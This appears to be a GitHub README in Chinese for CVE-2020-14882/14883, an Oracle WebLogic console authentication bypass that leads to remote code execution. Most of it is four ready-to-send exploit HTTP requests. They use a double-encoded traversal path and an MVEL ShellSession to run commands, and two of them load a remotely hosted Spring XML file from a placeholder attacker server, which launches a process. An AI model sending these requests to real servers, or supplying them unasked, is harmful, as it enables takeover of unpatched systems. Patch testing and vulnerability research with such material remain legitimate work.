murataydemir/cve-2020-14883[CVE-2020-14882] Oracle WebLogic Server 认证远程代码执行 (RCE)
[CVE-2020-14883] Oracle WebLogic Server 认证远程代码执行 (RCE)
Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：控制台）存在漏洞。受影响的支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。该漏洞易于利用，未经身份验证的攻击者可通过 HTTP 网络访问破坏 Oracle WebLogic Server。成功利用此漏洞可导致 Oracle WebLogic Server 被接管。
概念验证 (PoC) 1： 使用 tangosol.coherence.mvel2.sh.ShellSession() 针对基于 Windows 的目标
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
概念验证 (PoC) 2： 使用 tangosol.coherence.mvel2.sh.ShellSession() 针对基于 Linux 的目标
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');")
概念验证 (PoC) 3： 使用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 针对基于 Windows 的目标
poc.xml 文件的内容
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>
<![CDATA[calc]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>
python3 -m http.server 7575POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")
概念验证 (PoC) 4： 使用 com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext 针对基于 Windows 的目标
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")